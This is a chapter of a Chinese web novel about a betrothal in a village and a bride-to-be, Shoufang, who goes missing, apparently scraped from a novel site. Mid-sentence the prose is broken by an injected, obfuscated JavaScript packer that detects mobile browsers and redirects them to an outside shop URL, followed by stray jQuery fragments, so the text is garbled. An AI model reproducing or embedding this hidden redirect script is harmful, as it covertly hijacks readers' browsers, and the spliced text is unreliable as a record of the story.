文趣网 > 其他小说 > 病秧子也要拯救世界吗 > 5. 第 5 章
    三月初八,黄道吉日,莫远游登门下聘。

    妙章对此很不理解,世上哪有先定婚期、再下聘礼的道理?只得偷偷去问晏春山。他倒是见惯不怪:“莫家贫寒,聘礼送得越晚,越有时间设措。”妙章听罢,连声感叹二老真是厚道。

    天刚蒙蒙亮,何家就忙成了一团。何大爷扫地,何大娘擦桌,寿芳坐在镜前梳妆打扮。

    水红新衫掐出盈盈细腰,耳边簪着新摘的桃花,花瓣随着她上妆的动作,轻轻颤啊颤。

    妙章晾完衣服看到这一幕,正兀自欣赏,就见寿芳撇着嘴,把刚画好的眉擦掉,“妙章姐姐,快帮帮我!我怎么都画不好眉毛。”

    她靠着门框,懒洋洋打趣:“你这么紧张干嘛,不知道的,还以为你要去下聘呢。”

    寿芳含羞带嗔地瞪她一眼:“你就会拿我开玩笑。”

    “我哪有?”妙章顺手拖了张小凳在她身边坐下,“我听说,以前有个叫张敞的大臣,经常在家里给夫人画眉,一来二去传到了皇上耳中。皇上就问他,可有此事啊?你猜他怎么说?”

    寿芳想了一想,“别卖关子啦,告诉我吧。”

    “他说……夫妻二人在房中,比画眉更亲密的事,还多着呢。”

    寿芳略愣了愣,随即回过味来,整张脸一下子红透了,“你,你说什么呢。”

    看她羞成这样,妙章越发来了兴致,“所以啊,眉毛画得好不好有什么要紧。等成了婚,让莫远游帮你画不就成了。”

    “你还说!”她手上使了点力气,妙章故作站不稳,一路被推了出来。转头就去骚扰在角落劈柴的晏春山。

    到了约定好的时辰,莫远游挑着扁担进门。身上虽是旧衣,但他身形颀长,面容清秀,丝毫没有穷酸之态。像浸在春雨里的青竹,叫人一看就觉得清爽干净。

    他整了整衣冠,向何家二老行礼:“莫氏远游,见过伯父伯母。”

    何大爷忙伸手去扶,“快起来,快起来。马上就是一家人了,行这么大的礼做什么?”

    莫远游含笑掀开盖在竹篮上的红布,“依古礼,本该以雁表情之忠贞,可惜大雁难寻,只得以鸡代雁。这两匹布是家母早年织的,也是一番心意。若有不周之处,还望二老海涵。”

    何大娘看着他,不由想起了三个早逝的儿子,眼圈顿时红了:“说什么嫌弃不嫌弃的,只要你真心待寿芳,我们自然把你当亲生儿子一样看待。”

    莫远游并起三指,指天指地:“请伯父伯母放心,我这一辈子,都不会辜负寿芳。若有朝一日做了对不住她的事,便叫我人头落地,永生永世遭人唾骂。”

    “哎!”何大爷重重拍了他一下,“好端端的,说这样重的话做什么?”

    “是啊,好孩子,大喜日子,不兴说不吉利的。”

    莫远游赶紧赔了声不是。寿芳眼里盛满泪水,似清晨的露珠,将坠不坠。

    婚期越来越近,寿芳反倒没前几日那般激动。

    这天夜里,妙章迷迷糊糊正要睡着,忽而听到一道带着哭腔的声音:“妙章姐姐,你睡了吗?”她立刻清醒过来,翻了个身:“还没有,你哭了?”

    “我有点睡不着,想和你聊聊天……你说,一个人现在对你好,就会一直对你好吗?”

    “怎么突然说这个,和莫远游吵架了?”

    “不是不是,他很好。就是,太好了,好得我有点害怕,万一以后他不喜欢我了,我该怎么办呢?”

    妙章一时不知如何回答。

    她和寿芳终究是不一样的。她接受了十几年教育,一心朝自己的梦想前进,从没想过依附别人。可寿芳生在滋荣村、长在滋荣村,去过最远的地方就是临溪镇。她的天地就这么大,能选择的路也就这么一条,告诉她别相信男人,也别依靠男人?未免太高高在上。

    这便是生活在封建社会女子的悲哀。因为生存的土壤太贫瘠,知道太多反而是一种痛苦,像把毫无生存能力的雀儿丢进原始森林,所谓的自由实则暗藏着更大的危险。

    妙章握住她微微发凉的手,柔声道:“别胡思乱想了。先不说莫远游会不会变心,就算真有那一天,大爷大娘总不会眼睁睁看你受委屈。”

    “再说了,还有我呢,到时候你只管告诉我,看我不把他家屋顶掀了。”

    寿芳闻言笑了笑,眼底忧虑未散。

    妙章想转移她注意力,道:“对了,你的嫁衣呢?穿上让我看看还有没有哪里要改。”

    “在箱子里,我现在就去换。”

    再出来,昏暗的房间都亮了几分。

    嫁衣不过是寻常红布裁成,样式也十分简单。可她在领口袖口处,用彩线绣了鸳鸯、蝙蝠等纹样。看那密密的针脚,也知道花了多少心思。

    妙章由衷感叹:“真好看。”

    寿芳又低头看了一回,大约是越看越喜欢,忍不住转了个圈。裙摆倏地旋开,像院里开得正盛的桃花。

    傍晚时分,炊烟袅袅,成群归鸟掠过天边。何大娘将最后一道菜端上桌,目光在院中扫了一圈,纳闷道:“这丫头又跑哪儿去了?”

    妙章:“我看她出门前选了半天衣裳,应该是去见莫远游了。”

    “我说呢,都要成婚了,还这么黏糊。”

    眼看天色将晚,妙章主动请缨:“我去把她叫回来。”

    莫家门口种了几竿竹子,风一吹,竹叶沙沙作响。

    她莫名想起百药山上的竹妖,心头一紧,加快了脚步。及至走近,才发觉有些不对。平常总虚掩着的门,今日却关得严严实实。

    她拉起门环扣了起来:“有人吗?有人在家吗?”一连叫了好几声,里头都静悄悄的。

    莫远游若不在家,他那瘫痪在床的母亲自是不可能来开门。如此想着,她掉头回到何家。

    “远游也不在家?那他们两个到哪儿去了?”

    “先找找,一个大活人,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932290|213639||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    还能凭空没了不成。”何大爷皱着眉拍板。

    天色越来越沉,灯笼只能照亮几步之地。

    “你们见到寿芳了吗?”

    “没有。”

    “没有。”

    “没有。”

    一次又一次,一遍又一遍。

    每得到一个否定的答案,何大娘面上血色便褪去一分。到后来走路都发飘,嘴里反反复复念叨:“寿芳呢……我的寿芳呢……”

    妙章也急得不行,可她知道这时候自己不能垮,搀着何大娘安慰道:“大娘,您先别急。莫远游不是也没回来吗?说不定他们出去玩了,一时忘了时间。咱们先回家看看,好不好?”

    何大娘六神无主,听她这么说,点了点头。

    回到家,依然不见寿芳。何大娘双腿一软,几近晕厥。妙章给她冲了杯糖水,又独自往莫家去。

    这一次,门是开的。

    莫远游坐在桌前看书,抬头看见她,脸上浮出几分意外:“是住在何家的舒姑娘吧,快请坐。”

    她不坐,直截了当地问:“你今日见到寿芳了吗?”

    莫远游摇摇头:“并未,我早上去镇上抓药了,回来后一直在家。”

    “抓药?村里不是有大夫吗,为何要去镇上?”

    “村医那里药材有限,很多药都只能去镇上药铺。”

    妙章怀疑的目光几乎要把他烫出个洞来。

    “我见何大爷去镇上,最多三个时辰就回了,你怎么去了整整一日。”

    莫远游长长叹了口气,“不瞒你说,家母近来身子不好,我看在眼里,心里焉能不急?只好偷偷上山采些药材,再背去城里卖,这才耽搁了一整日。”

    妙章默然不语。他忽然站了起来,微微蹙眉:“舒姑娘,你怎的这副模样?莫非寿芳来找过我?”

    “……寿芳不见了。”

    莫远游一怔,“什么叫不见了?”

    “不见了就是不见了。”妙章没好气地说,“你仔细想想,她近来可有什么异常?譬如提起了什么很少提的人,或者心情不好之类的?”

    “我们马上就要成婚了,她怎么会心情不好?会不会是哪里弄错了。”

    “当我没说。总之,只要你想到任何和她有关的事,麻烦第一时间告诉我。”

    “那是自然。”莫远游回房拿了灯笼,“我再出去找找。”

    何家一派愁云惨雾。大爷大娘坐在床上抹泪,晏春山坐在凳上,冷着脸,不知在想什么。

    听见推门声,三人同时抬头看她,眼里带着令人心碎的希望。可她身后空空如也,那点希望立刻黯了下去,变成连绵不绝的眼泪。

    听说莫远游也出去找了,何大娘愈发心痛:“远游怕是要急坏了。寿芳啊,我可怜的女儿,你到底去哪儿了?”何大爷根本坐不住:“我去和远游一起找。”

    等何大爷出了门,妙章才走到晏春山身边,示意他跟自己来。